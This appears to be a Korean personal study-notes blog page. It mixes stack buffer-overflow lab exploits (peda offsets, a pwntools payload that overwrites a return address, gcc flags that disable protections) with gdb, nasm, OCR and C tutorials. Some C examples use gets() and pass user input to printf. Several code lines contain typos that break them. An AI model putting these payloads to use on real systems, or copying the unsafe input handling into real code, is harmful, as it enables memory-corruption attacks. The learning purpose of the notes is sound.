리눅스 환경변수 설정
export GREENIE='AAAAA'

peda에서 패턴 만들기
pattern create 100

b *main+89

peda에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x41413341
1094792001 found at offset: 68

Exploit 코드
export GREENIE=$(python -c 'print "A"*68 + "\x0a\x0d"*4')

pwntools 사용방법
https://github.com/Gallopsled/pwntools-tutorial/blob/master/tubes.md

자동 접속 후 CLI 제어
python 2.7 버전에서 동작

설치
shell> sudo apt-get install python-dev
shell> sudo python2 -m pip install pwn

telnet 설치
shell> sudo apt-get install xinetd telentd
shell> sudo vi/etc/xintd.d/telnet
# default: off
service telnet
{
 disable = no
 flags = REUSE
 socket_type = stream
 wait = no
 user = root
 server = /usr/sbin/in.telnetd
 log_on_failure += USERID
}   

shell> /etc/init.d/xinetd restart 또는 service xinetd restart

테스트 사용자 생성
shell> useradd user1
shell> passwd user1

사용자 테스트
shell> telnet 127.0.0.1
login: user1
Password:

$> 셜 프롬프트

자동 스크립트 작성
shell> vi login.py
import pwn

/*
pwn.process() // 내부 접속
pwn.ssh() // 보안 접속
pwn.connect() // 외부 접속
*/

p = pwn.process(['telnet', '127.0.0.1']) // 인자 전달, 리스트 형식으로 전달

print p.recvuntil('login: ')
p.sendline('user1')

print p.recvuntil('Passwor: ')
p.sendline('1234') // 패스워드

print p.recvuntil('$')
p.sendline('echo 1234')
print p.recvline()

print "recv test"
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
:wq

패턴 생성
gdb-peda) pattern create 80
패턴 간격 확인
gdb-peda) pattern offset 패턴문구

환경변수 생성(cpu 빅엔디안, 리틀엔디안)
export TESTAAA=$(python -c 'print "A"*68 + "\x0d0a"*4)

win 함수 주소
win_addr = 0x~~~400577

페다에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72

파이썬 코드
from pwn import *

p = process('./stack3')
win_addr = p64(0x~~~400577)
payload = 'A'*72 + win_addr

p.sendline(payload)
print p.recvrepeat(1)

gcc 스택 오버플러우 허용.

gcc 스택오버플러우 허용 옵션
gcc -z execstack -no-pie -w -o

execstack : 기본 옵션처리에서 스택의 접근 권한을 할 수 업게한다. 이 옵션을 사용하면 스택에 접근 권한을 부여한다.

-no-pie : 기타 자료형이 메모리에 올라갈때 무작위 메모리 맵과 맵핑이 이루어진다. 이 옵션을 주면 무작위 맵핑 처리를 하지 말라는 의미.

gdb 어셈블러 화면구성 정보 추가.

peda 다운로드 사이트
https://github.com/longld/peda

설치
git clone https://github.com/longld/peda.git peda
echo "source peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

참고:
./surface4/4.14/linux-surface-master/kernel/Documentation/frv/gdbinit
./Qt5.7.1/5.7/Src/qtwebengine/src/3rdparty/chromium/v8/tools/gdbinit

gdb 접근 후 패턴 생성
gdb-peda) pattern create 80
패턴 간격 확인
gdb-peda) pattern offset 패턴문구



자동 접속 후, CLI 실행

pwntools 사용방법
https://github.com/Gallopsled/pwntools-tutorial/blob/master/tubes.md

자동 접속 후 CLI 제어
python 2.7 버전에서 동작

설치
shell> sudo apt-get install python-dev
shell> sudo python2 -m pip install pwn

telnet 설치
shell> sudo apt-get install xinetd telentd
shell> sudo vi/etc/xintd.d/telnet
# default: off
service telnet
{
 disable = no
 flags = REUSE
 socket_type = stream
 wait = no
 user = root
 server = /usr/sbin/in.telnetd
 log_on_failure += USERID
}     

shell> /etc/init.d/xinetd restart 또는 service xinetd restart

테스트 사용자 생성
shell> useradd user1
shell> passwd user1

사용자 테스트
shell> telnet 127.0.0.1
login: user1
Password:

$> 셜 프롬프트

자동 스크립트 작성
shell> vi login.py
import pwn

/*
pwn.process() // 내부 접속
pwn.ssh() // 보안 접속
pwn.connect() // 외부 접속
*/

p = pwn.process(['telnet', '127.0.0.1']) // 인자 전달, 리스트 형식으로 전달

print p.recvuntil('login: ')
p.sendline('user1')

print p.recvuntil('Passwor: ')
p.sendline('1234') // 패스워드

print p.recvuntil('$')
p.sendline('echo 1234')
print p.recvline()

print "recv test"
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
:wq

2018/12/30

gdb tui 기반 디버깅

-g 옵션 사용 컴파일

shell> g++ source.cpp -g

tui 접근
shell> gdb a.out --tui

브레이크 포이트 위치 지정
gdb> break main
gdb> b main
gdb> b *main

실행
gdb> run
gdb> n ---> next
     enter -> 한줄씩 이동

지정한 위치로 브레이크 포인터 이동
gdb> b 30 ---> 브레이크 포인트 설정 여기서 30은 tui 줄 번호
gdb> run ---> 30 라인으로 이동
gdb> q ---> 종료

------------
shell> gdb a.out --tui

브레이크 포인트 위치지정
gdb> b main
gdb> s
gdb> run
gdb> s ---> 추적
gdb> q

테스트 바이너리 다운로드.
https://github.com/LiveOverflow/liveoverflow_youtube/blob/master/0x05_simple_crackme_intro_assembler/license_1

실행
gdb "바이너리" --tui

어셈 블리어 형식 변환
set disassembly-flavor intel

메인 함수 디어셈블
disas main

브레이크 포인트 위치 지정
b 30 30번째 라인에다가 걸기
b *main 메인 함수 브레이크 포인트
b *0x0~~~~ 특정 주소에 브레이크 포인트
b "숫자" rip로부터 상대적 위치에 브레이크 포인트

브레이크 포인트 삭제
delete
delete "번호"

실행하기
run "args" 처음부터 실행
continue 멈춘 부분부터 실행
ni -> Next instance 한 출 씩 실행

정보 확인
info reg 레지스터 확인
info reg "레지스터" 특정 레지스터 확인
info break 브레이크 포인트 확인
x/t "메모리 주소" 2진수로 확인하기
x/o "메모리 주소" 8진수로 확인하기
x/d "메모리 주소" 10진수로 확인하기
x/u "메모리 주소" 부호없는 10진수로 확인하기
x/x "메모리 주소" 16진수로 확인하기
x/c "메모리 주소" char로 확인하기
x/f "메모리 주소" 부동소수점으로 확인하기
x/s "메모리 주소" 스트링으로 확인하기

x/bx $rsp 1바이트씩 확인하기
x/hx $rsp 2바이트씩 확인하기
x/dx $rsp 4바이트씩 확인하기
x/gx $rsp 8바이트씩 확인하기

-g 옵션 사용 컴파일

shell> g++ source.cpp -g

tui 접근
shell> gdb a.out --tui

브레이크 포이트 위치 지정
gdb> break main
gdb> b main
gdb> b *main

실행
gdb> run
gdb> n ---> next
     enter -> 한줄씩 이동

지정한 위치로 브레이크 포인터 이동
gdb> b 30 ---> 브레이크 포인트 설정 여기서 30은 tui 줄 번호
gdb> run ---> 30 라인으로 이동
gdb> q ---> 종료

------------
shell> gdb a.out --tui

브레이크 포인트 위치지정
gdb> b main
gdb> s
gdb> run
gdb> s ---> 추적
gdb> q

테스트 바이너리 다운로드.
https://github.com/LiveOverflow/liveoverflow_youtube/blob/master/0x05_simple_crackme_intro_assembler/license_1

실행
gdb "바이너리" --tui

어셈 블리어 형식 변환
set disassembly-flavor intel

메인 함수 디어셈블
disas main

브레이크 포인트 위치 지정
b 30 30번째 라인에다가 걸기
b *main 메인 함수 브레이크 포인트
b *0x0~~~~ 특정 주소에 브레이크 포인트
b "숫자" rip로부터 상대적 위치에 브레이크 포인트

브레이크 포인트 삭제
delete
delete "번호"

실행하기
run "args" 처음부터 실행
continue 멈춘 부분부터 실행
ni -> Next instance 한 출 씩 실행

정보 확인
info reg 레지스터 확인
info reg "레지스터" 특정 레지스터 확인
info break 브레이크 포인트 확인
x/t "메모리 주소" 2진수로 확인하기
x/o "메모리 주소" 8진수로 확인하기
x/d "메모리 주소" 10진수로 확인하기
x/u "메모리 주소" 부호없는 10진수로 확인하기
x/x "메모리 주소" 16진수로 확인하기
x/c "메모리 주소" char로 확인하기
x/f "메모리 주소" 부동소수점으로 확인하기
x/s "메모리 주소" 스트링으로 확인하기

x/bx $rsp 1바이트씩 확인하기
x/hx $rsp 2바이트씩 확인하기
x/dx $rsp 4바이트씩 확인하기
x/gx $rsp 8바이트씩 확인하기

실행 중인 프로세스에 어태치
gdb "filename" "pid"
gdb" attach
gdb" detach

실행 중인 프로세스에 어태치
gdb "filename" "pid"
gdb" attach
gdb" detach

kali 버전 업데이트

shell> apt update && apt -y full-upgrade

shell> cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main non-free contrib

shell> grep VERSION /etc/os-release
VERSION="2018.3"
VERSION_ID="2018.3"

shell> reboot

일반 저장소
deb http://http.kali.org/kali kali-rolling main non-free contrib

소스 저장소
deb-src http://http.kali.org/kali kali-rolling main non-free contrib

개발자 저장소
사용자들이 패키지를 만들어 제공, 하지만 나중에 사이트가 없어지는 문제 발생.

일반 저장소만 나두고 업데이트 한다.
deb http://http.kali.org/kali kali-rolling main non-free contrib

전체 설치 
shell> sudo apt-get install kali-linux-full

나중 테스트 해 볼 내용> 
1. 서버 연동 네트워 부팅 
2. 시스템 점검 
2.1 점검 목록 나열 테스트 

Visual Studio 디버깅 단축키

윈도우에서 사용하는 디버깅 창 및 단축키,
비주얼 스튜디오 버전마다 단축키 차이가 있음.

자동/조사식/메모리 창
자동창 생성: 디버그 -> 창 -> 자동
단축키 : ctrl + alt + v, a

조사식창 생성: 디버그 -> 창 -> 조사식 -> 조사식 1~4
단축키 : ctrl + alt + w, 1~4
Shift+F9: 다른 창을 띄워서 변수의 값이 얼마인지 계산할 수있고, 그 자리에서 조사식을 추가 할 수도 있다.

메모리창 생성: 디버그 -> 메모리 -> 메모리 1~4
단축키 : ctrl + alt + m, 1~4
기본 메모리 창 : alt + 6

ctrl + shift + b : 솔루션 빌드
F7 : 프로젝트 빌드
ctrl + F5 : 프로젝트 빌드 후 실행

F9 : 브레이크 포인트 설정 및 해제

전체 브레이크 포인트 해제 : 디버그 -> 모든 중단점 해제
단축키 : Ctrl + Shift + F9

F5 : 디버깅 연결 프로그램과 시작. 브레이크 포인터가 있다면 그 위치까지 실행
Shift + F5 : 디버깅 없이 실행

F10: 디버깅 모드에서 한줄씩 코드를 진행하되, 다른 함수를 호출하게 되는 경우에 그 프로시저를 모두 실행하고 원래 코드로 돌아와서 한줄을 실행하는 기능
Ctrl + F10 : 커서까지 실행, 디버깅 모드에서 커서가 위치한 줄을 만날때 까지 실행하는 기능
Shift + F10 : 프로시저 나가기

F11: 한줄씩 실행
     디버깅 모드일 때, 함수 추적을 한다.
Shift + F11: 프로시저 나가기, 디버깅 모드에서 현재 현재 프로시저의 나머지를 모두 실행하고 나가는 기능

디버깅 공식
1) 중단점을 설정한다.
2) 디버깅 시작
3) F11 을 누르며 한단계씩 코드 실행 or  F10 으로 프로시저 단위 실행
4) 조사식을 추가하여 변수의 변화를 살펴본다.

함수 추적시.
stdio.h, iostream 라이브러리 호출 부분으로 진입시.
Shift + F10 : 프로시저 나가기

2018/12/29

화면 캡처후 이미지 text 처리

1. 이미지 추출
umplayer 사용
s 화면 캡처

1.1 캡처된 이미지 파일 애니매니션으로 병합.
-delay 옵션으로 화면 속도를 조정한다.

convert -delay 2 -loop 0 *.png animated.gif

1.2 영상 형식으로 병합
ffmpeg -framerate 1/2 -i shot%04d.png -c:v libx264 -r 30 out.mp4

-framerate 1/2: 프레임 속도를 1/2 FPS 또는 프레임 당 2 초로 설정
-i shot%04d.png: 파일이름 호출. shot0000.png ~ shot9999.png
-c:v libx264: libx264 비디오 코텍 사용.
              -crf <number>: 품질 설정. 0 ~ 51
                                                                 23 : 기본
                                                                   0 : 무손실 인코딩이며 매우 높은 대역폭.
                                                                 18 : 시각적 손실 확인 불가능.
-r 30: 출력 프레임 지정
out.mp4: 출력 파일 이름

1.2 캡처된 화면 나열 후 백그라운드 이미지 처리
tesseract-ocr
pdf 일때
 convert -density 300 foo.png -depth 8 -strip -background white -alpha off out.tiff

원본 파일의 레이어가 문제인지 배경이 변경 안됨.
 convert foo.png -transparent -background white -alpha off out.tiff
 convert foo.png -transparent white -alpha off out.tiff
 convert foo.png -background white -flatten -alpha off out.jpg

아래 명령으로 배경 처리.
 gm convert -threshold 50% 'foo.png' 'out.tiff'
 for i in *.png; do gm convert -threshold 50% "$i" "$i.tiff"; done

txt 파일 변경
 tesseract out.tiff out

영문이 있을 경우
 tesseract out.tiff -l eng text
 for i in *.tiff; do tesseract "$i" -l eng "$i.text"; done

한글이 있을 경우
 tesseract out.tiff -l kor text

2. 텍스트 번역
 for i in *.txt ; do trans -e bing file://`pwd`/"$i" > "$i.ko.txt"; done
 for i in *.txt ; do trans -e bing file://"`pwd`"/"$i" > "$i.ko.txt"; done

2.1 번역파일 병합
for i in *.ko.txt; do cat "$i" >> all_merge.txt; done

2.2 번역 파일 수정
2.3 text 파일 애니메니션 생성
txt 확장자를 gif 또는 png 변경
convert -delay 2 -loop 0 *.png animated.gif

2.4 text 파일 영상 형식 생성
txt 확장자를 gif 또는 png 변경
ffmpeg -framerate 1/2 -i shot%04d.png -c:v libx264 -r 30 out.mp4

3 음성 듣기

3.1 단어
 simple_google_tts en Accessing

3.2 파일
 simple_google_tts ko `pwd`/file.txt

4 음성녹음
4.1 단어 녹음
 tts-cli "Hello" -l 'en' -o hello.mp3

4.2 파일 녹음
  gtts-cli -f hello.txt -l 'en' -o hello.mp3

4.3 전체 텍스트 파일 mp3 만들기
for i in *.ko.txt ; do gtts-cli -f "$i" -l 'ko' -o  "$i.ko.mp3" ; done && for en in *.txt ; do gtts-cli -f "$en" -l 'en' -o  "$en.mp3" ; done

asm 서브루틴

section .bss
digitSpace resb 100
digitSpacePos resb 8

section .text
global _start

_start:
mov rax, 123
call _printRAX

mov rax, 60
mov rdi, 0
syscall

_printRAX:
mov rcx, digitSpace
mov rbx, 10
mov [rcx], rbx
inc rcx
mov [digitSpacePos], rcx

_printRAXLoop:
mov rdx, 0
mov rbx, 10
div rbx
push rax
add rdx, 48

mov rcx, [digitSpacePos]
mov [rcx], dl
inc rcx
mov [digitSpacePos], rcx

pop rax
cmp rax, 0
jne _printRAXLoop

_printRAXLoop2:
mov rcx, [digitSpacePos]

mov rax, 1
mov rdi, 1
mov rsi, rcx
mov rdx, 1
syscall

mov rcx, [digitSpacePos]
dec rcx
mov [digitSpacePos], rcx

cmp rcx, digitSpace
jge _printRAXLoop2

ret

compile:
nasm -f elf64 test.asm -o test.o
ld test.o -o test

vi test.asm
_start:
mov rax, 변경한다. 1339
call _printRAX

compile:
nasm -f elf64 test.asm -o test.o
ld test.o -o test

리눅스 어셈블리의 nasm x86_64 매크로

리눅스 어셈블리의 nasm x86_64 매크로

1. 매크로란?

매크로는 특정 작업을 수행 하기 위해 미리 정의된 명령어 모음에 대한 확장 되는 단일 명령어.

exit:
 mov rax, 60
 mov rdi, 0
 syscall

2. 매크로 정의
<name>
  매크로 이름.
<argc>
  매크로 동작 인수의 갯수.
<macro body>
매크로 정의.

%macro <name> <argc>
...
<macro body>
...
%endmacro

"Exit" Macro

%macro exit 0 ; 0은 argc 인수의 개수
mov rax, 60
mov rdi, 0
syscall
%endmacro

3. 매크로 인수
<argc> 매크로에 사용하는 인수의 개수이다. 인수는 매크로로 전달 될 수 있다.

매크로 본문 내에서 이러한 입력은 첫 번째 입력에 대해 '%1', 즉 두 번째 입력에 대해 '%2'를 사용 하여 참조 된댜.

%macro <name> <argc>
...
<macro body>
...
%endmacro

"printDigit" 매크로의 경우 argc는 1이다.

"exit" 매크로의 경우 argc는 인수가 없기 때문에 0이다.

_start 아래의 코드에서 "printdigit"를 사용 하면 첫 번째 인수 뒤에 숫자를 지정.

현재 사용 하는 "exit" 인수가 0이기 때문에 숫자를 지정 하지 않는다.

%macro exit 0
mov rax, 60
mov rdi, 0
syscall
%endmacro

%macro printDigit 1
mov rax, %1
call _printRAXDigit
%endmacro

_start:
printDigit 3
printDigit 4

exit

This code will print "3" then "4"
http://pastebin.com/5K3CARnw

args > 1 인 경우, 입력 구분자로 쉼표 사용.

%macro printDigitSum 2
mov rax, %1
add rax, %2
call _printRAXDigit
$endmacro

_start:
printDigitSum 3,2
exit

이 코드는 "5" 출력.

4. 매크로 로컬 레이블
매크로는 미리 정의된 코드로 컴파일 할 때 확장 된다.
해당 코드에 레이블이 포함 된 경우 매크로가 두 번 이상 사용되면 중복된 레이블 오류가 발생할 수 있다.

%macro freeze 0
_loop:
jmp _loop
%endmacro

_start:
freeze
freeze
exit

;Redefined Symbol Error
_loop:
jmp _loop

_loop:
jmp _loop
exit


이 문제는 매크로 내에서 레이블 이름 앞에 "%%"를 사용 하여 해결할 수 있다.
이렇게 하면 레이블 확장시 사용할 수 있다.

%macro freeze 0 ---> %macro freeze 0
_loop: ---> %%loop:
jmp _loop ---> jmp %%loop
%endmacro ---> %endmacro


5. EQU 값 정의
EQU는 나중에 사용할 상수를 정의 하는데 사용.

section .data
test db "Hello, World!",10

section .text
global _start

_start:
mov rax, 1
mov rdi, 1
mov rsi, text
mov rdx, 14
syscall

mov rax, 60
mov rdi, 0
syscall

STDIN equ 0
STDOUT equ 1
STDERR equ 2

SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60

section .data
text db "Hello, World!",10

section .text
global _start

_start:
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rsi, text
mov rdx, 14
syscall

mov rax, SYS_EXIT
mov rdi, 0
syscall

6. 외부 파일 포함
단일 어셈블리 프로그램은 "include"를 사용하여 여러 파일로 나눌 수 있다.

"include"는 외부 파일의 코드를 로드하여 포함 된 위치에 추가한다.

매크로와 EQU 정의는 포함(include)된 파일 내부에 있다.
%include "filename.asm"

"Hello, World!" 코드는 'linux64.inc' 파일에 이미 정의되어 있는 'print' 및 'exit' 매크로를 통해 동작 한다.
%include "linux64.inc"

section .data
text db "Hello, World!",10,0

section .text
global _start

_start:
print text
exit

"linux64.inc"
http://pastebin.com/N1ZdmhLw

화면캡처, 마우스 좌표, gif 애니매니션.

1. 우분투 화면 캡처 사용법.

1.1 기본 제공 화면 캡처
폴더 저장
Print Screen(PrtSc): 전체화면 사진 폴더 저장
Alt + Print Screen : 활성화 창 지정 후, 사진 폴더 저장.

클립 보드 저장
Shift + Ctrl + Print Screen
Ctrl + v

영영 선택 지정
Shift + Print Screen : 사진 폴더 저장.

영상 녹화
Shift + Ctrl + Alt + R : 녹화 시작
Shift + Ctrl + Alt + R : 녹화 정지.
비디오 폴더 저장

1.2 그놈 스크린 샷 사용
효과:
마우스 포인터 포함 체크 스크린 샷

1.3 Shutter
편집 활성화
패키지 설치
https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas-common_1.0.0-1_all.deb
https://launchpad.net/ubuntu/+archive/primary/+files/libgoocanvas3_1.0.0-1_amd64.deb
https://launchpad.net/ubuntu/+archive/primary/+files/libgoo-canvas-perl_0.06-2ubuntu3_amd64.deb

프로그램 종료
sudo killall -9 shutter

캡처된 이미지 편집 가능. s

2. 비잔즈(Byzanz)
CLI 방식
파일 지원 형식: GIF(애니메이션 기본), FLV, OGG, OGV, WEBM

녹화 시간 설정 CLI
byzanz-record -d DURATION --delay=DELAY -x X-COORDINATE -y Y-COORDINATE -w WIDTH -h HEIGHT FILENAME
byzanz-record -d 10 --delay=5 -x 0 -y 0 -w 1440 -h 900 desktop-animation.gif

참고 : -v 플래그를 추가 하여 진행 상황 확인

byzanz-record -v --exec="uname -a" output.flv

2.1 스크립트 테스트
#!/bin/bash

# 의존: 
sudo add-apt-repository ppa:fossfreedom/byzanz;
sudo apt-get update && sudo apt-get install byzanz zenity zenity-common notify-osd)

# 시간 및 날짜
TIME=$(date +"%Y-%m-%d_%H%M%S")

# 시작하기 전 지연
DELAY=10

# 저장 폴더
FOLDER="$HOME/Pictures"

# 기본 녹음 시간
DEFDUR=10

# 녹음 시작시 알려주는 소리
beep() {
    paplay /usr/share/sounds/freedesktop/stereo/message-new-instant.oga &
}

# 지정 녹화 시간 설정
USERDUR=$(gdialog --title "지속?" --inputbox "초 단위 입력" 200 100 2>&1)

# 출력 파일
if [ $USERDUR -gt 0 ]; then
    D=$USERDUR
else
    D=$DEFDUR
fi

# 윈도우 창 정보 ---> 나중 이부분 업데이트 해야 함. 18.04 wayland
XWININFO=$(xwininfo)
read X < <(awk -F: '/Absolute upper-left X/{print $2}' <<< "$XWININFO")
read Y < <(awk -F: '/Absolute upper-left Y/{print $2}' <<< "$XWININFO")
read W < <(awk -F: '/Width/{print $2}' <<< "$XWININFO")
read H < <(awk -F: '/Height/{print $2}' <<< "$XWININFO")

# 녹화 시간 사용자 정보
notify-send "GIFRecorder" "Recording duration set to $D seconds. Recording will start in $DELAY seconds."

# 실 녹화
sleep $DELAY
beep
byzanz-record -c --verbose --delay=0 --duration=$D --x=$X --y=$Y --width=$W --height=$H "$FOLDER/GIFrecord_$TIME.gif"
beep

# 녹음 종료 사용자 메시지 전달.
notify-send "GIFRecorder" "Screencast saved to $FOLDER/GIFrecord_$TIME.gif"

3. 마우스 좌표 인식
xrectsel
project site: https://github.com/lolilolicon/xrectsel

libX11 기반에서 빌드. wayland 마우스 테스트
./bootstrap  # required if ./configure is not present
./configure --prefix /usr
make
make DESTDIR="$directory" install

4. peek
애니매니션 GIF 이미지 만들기.
프로젝트 사이트 : https://github.com/phw/peek
sudo add-apt-repository ppa:peek-developers/stable
sudo apt update
sudo apt install peek

youtube-dl 최신 버전 설치

sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl
sudo chmod a+rx /usr/local/bin/youtube-dl

2018/12/28

asm 서브루틴

section .data
text db "Hello, World!",10,0
text2 db "World?",10,0

Section .text
global _start

_start:
mov rax, text
call _print

mov rax, text2
call _print

mov rax, 60
mov rdi, 0
syscall

;input: rax as pointer to string
;output: print string at rax
_print:
push rax
mov rbx, 0
_printLoop:
inc rax
inc rbx
mov cl,  [rax]
cmp cl, 0
jne _printLoop

mov rax, 1
mov rdi, 1
pop rsi
mov rdx, rbx
syscall

ret

; nasm -f elf64 05_SubRoutine.asm -o 05_SubRoutine.o
; ld 05_SubRoutine.o -o 05_SubRoutine
; ./05_SubRoutine

구조체 malloc() 사용법.

#include <stdio.h>
#include <stdlib.h>

struct product{
float price;
char productName[30];
};

int main(void){
struct product *pProducts;

int i, j;

int numberOfProducts;
printf("Enter the Number of products to store: ");

scanf("%d", &numberOfProducts);
pProducts = (struct product *) malloc(numberOfProducts * sizeof(struct product));

for(i=0; i < numberOfProducts; ++i){
printf("Enter a Product Name: ");
scanf("%s", &(pProducts+i)->productName);

printf("Enter a Product Price: ");
scanf("%e", &(pProducts+i)->price);

}

printf("Products Stored\n");

for(j=0; j < numberOfProducts; ++j){
printf("%s\t%.2f\n", (pProducts+j)->productName, (pProducts+j)->price);
}

free(pProducts);

return 0;
}

/*
 * ./02_malloc_struct_store
Enter the Number of products to store: 3
Enter a Product Name: Egg
Enter a Product Price: .25
Enter a Product Name: Fish
Enter a Product Price: 11
Enter a Product Name: Bread
Enter a Product Price: 3
Products Stored
Egg 0.25
Fish 11.00
Bread 3.00 */

변수 malloc 사용법.

#include <stdio.h>
#include <stdlib.h>

int main(void){
int amtOfNumbersToStore;

printf("How many numbers do you want to store: ");

scanf("%d", &amtOfNumbersToStore);

int * pRandomNumbers;

pRandomNumbers = (int *) malloc(amtOfNumbersToStore * sizeof(int));

if(pRandomNumbers != NULL){
int i = 0;

printf("Enter a Number of Quit: ");

while(i < amtOfNumbersToStore && scanf("%d", &pRandomNumbers[i]) == 1) {

printf("Enter a number or Quit: ");
i++;
}
printf("\nYou entered the following numbers\n");

for(int j=0; j < i; j++){
printf("%d\n", pRandomNumbers[j]);
}
}

free(pRandomNumbers);

// 10k 더이상 사용되지 않지만 메모리 해제 안함
// 10k 더이상 사용되지 않지만 메모리 해제 안함
// 10k 더이상 사용되지 않지만 메모리 해제 안함

return 0;

}

/*
./01_number_store
How many numbers do you want to store: 10
Enter a Number of Quit: 1
Enter a number or Quit: 2
Enter a number or Quit: 3
Enter a number or Quit: 4
Enter a number or Quit: 5
Enter a number or Quit: q

You entered the following numbers
1
2
3
4
5
*/

문자 정보 확인

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

void noMoreNewline(char* theString){
char * isANewline;

isANewline = strrchr(theString, '\n');

// 개형문자
if(isANewline){
*isANewline = '\0';
}
}

void makeLowercase(char* theString){
int i = 0;

while(theString[i]){
// 소문자 변경
theString[i] = tolower(theString[i]);
// 대문자 변경
// theString[i] = toupper(theString[i]);
i++;
}
}

void getCharInfo(){
char theChar;

while((theChar = getchar()) != '\n'){
printf("Letter of Number %d\n\n", isalnum(theChar));

printf("Alphabetic Char %d\n\n", isalpha(theChar));

printf("Standard Blank %d\n\n", isblank(theChar));

printf("Ctrl Char %d\n\n", iscntrl(theChar));

printf("Number Char %d\n\n", isdigit(theChar));

printf("Anything But space %d\n\n", isgraph(theChar));

printf("Lowercase %d\n\n", islower(theChar));

printf("Uppercase %d\n\n", isupper(theChar));

printf("Punctuation %d\n\n", ispunct(theChar));

printf("Any Space %d\n\n", isspace(theChar));
}
}

int main(void){
getCharInfo();
}

개형문자, 대소문자

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

void noMoreNewline(char* theString){
char * isANewline;

isANewline = strrchr(theString, '\n');

// 개형문자
if(isANewline){
*isANewline = '\0';
}
}

void makeLowercase(char* theString){
int i = 0;

while(theString[i]){
// 소문자 변경
theString[i] = tolower(theString[i]);
// 대문자 변경
// theString[i] = toupper(theString[i]);
i++;
}
}

int main(void){
char doYouWantToQuit[10];

printf("Enter quit to quit: ");

fgets(doYouWantToQuit, 10, stdin);

noMoreNewline(doYouWantToQuit);

makeLowercase(doYouWantToQuit);

printf(doYouWantToQuit);

while(strcmp(doYouWantToQuit, "quit")){
printf("Enter quit to quit: ");
fgets(doYouWantToQuit, 10, stdin);
noMoreNewline(doYouWantToQuit);
makeLowercase(doYouWantToQuit);

}

printf("Thank you for typing quit %s\n\n", doYouWantToQuit);

}

개행 문자.

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

void noMoreNewline(char* theString){
char * isANewline;

isANewline = strrchr(theString, '\n');

if(isANewline){
*isANewline = '\0';
}
}
int main(void){
char doYouWantToQuit[10];

printf("Enter quit to quit: ");

fgets(doYouWantToQuit, 10, stdin);

noMoreNewline(doYouWantToQuit);

printf(doYouWantToQuit);
}

putchar() 사용 예

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

int main(void){
char * randomString = "Just some random stuff";

#if 0 // 간접 연산자 지정 접근
while(*randomString){
putchar(*randomString++);
}
#endif

int i = 0;

// 배열 접근
while(randomString[i] != '\0'){
putchar(randomString[i++]);
}
}

fgets(), fputs() 사용 예

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

int main(void){
char name[50];

printf("What is your name? ");

fgets(name, 50, stdin);

fputs("Hi ", stdout);
fputs(name, stdout);
}

gets(), puts() 사용 예.

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

int main(void){
char name[50];
printf("What is your name? ");
gets(name);
puts("Hi");
puts(name);
}

getchar() putchar() 사용 예

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

int main(void){
char theChar;

while((theChar = getchar()) != '~'){
putchar(theChar);
}
}

숫자의 합

#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>

int main(void){

// bool isAnumber;
_Bool isANumber;

int number;
int sumOfNumbers = 0;

printf("Enter a Number: ");

isANumber = (scanf("%d", &number) == 1);

while(isANumber) {
sumO Numbers = sumOfNumbers + number;
printf("Enter a Number: ");
isANumber = (scanf("%d", &number) == 1);
}

printf("The Sum is %d\n\n", sumOfNumbers);
}

2018/12/27

링크드 리스트

#include <stdio.h>

typedef struct product{
const char *name;
float price;

struct product *next;
} product;

void printLinkedList(product *pProduct){
while(pProduct != NULL){
printf("A %s costs %.2f\n\n", (*pProduct).name, pProduct->price);

pProduct = pProduct->next;
}
}

void main(void){

product tomato = {"Tomato", .51, NULL};
product potato = {"Potato", 1.21, NULL};
product lemon = {"Lemon", 1.69, NULL};
product milk = {"Milk", 3.09, NULL};
product turkey = {"Turkey", 1.86, NULL};

tomato.next = &potato;
potato.next = &lemon;
lemon.next = &milk;
milk.next = &turkey;

product apple = {"Apple", 1.58, NULL};

lemon.next = &apple;
apple.next = &milk;

printLinkedList(&tomato);

}

유니온 공용 구조

#include <stdio.h>

void main(void){
typedef union{
short individual; // 개인
float won; // 원화
float ounce; // 온스
} amount;

amount orangeAmt = {.ounce = 16};

orangeAmt.individual = 4;

printf("Orange Juice Amount: %.2f : Size: %ld\n\n", orangeAmt.ounce, sizeof(orangeAmt.ounce));
printf("Number of Oranges: %f : Size: %ld\n\n", orangeAmt.individual, sizeof(orangeAmt.individual));

orangeAmt.won = 1.5;

printf("Orange Juice Amount: %.2f : Size: %ld\n\n", orangeAmt.won, sizeof(orangeAmt.won));

typedef struct{
char *brand;
amount theAmount;
} orangeProduct;

orangeProduct productOrdered = {"Chiquita", .theAmount.ounce = 16};

printf("You bought %2.f ounces of %s oranges\n\n", productOrdered.theAmount.ounce, productOrdered.brand);

typedef enum{ INDIV, OUNCE, OWN } quantity;

quantity quantityType = INDIV; // OUNCE Change

orangeAmt.individual = 4;

if(quantityType == INDIV){
printf("You bought %d oranges\n\n", orangeAmt.individual);
} else if(quantityType == OUNCE){
printf("You bought %.2f ounces of oranges\n\n", orangeAmt.ounce);
}

}

제어 분기문, 반복문

제어문 종류
분기문 , 반복문.

계산기 : 연산.
프로그램: 경우에 따른 결과 확인.

삼항 연산자 등장.

초기 컴퓨터 환경은 사람들이 직접 스위치를 동작 시키기 위해 선을 연결한 후 스위치를 ON, OFF 작업을 함.
ON, OFF 할 때 경우의 수가 필요 했음.
그래서 if, if else, swich case 문을 사용해 사람이 확인 할 수 있는 테이블 표를 만들고 일일이 그걸 보고 대입 함.

단순 지시문
a) if 이것을 해라.
b) if else 이것을 할 까?, 저것을 할 까?


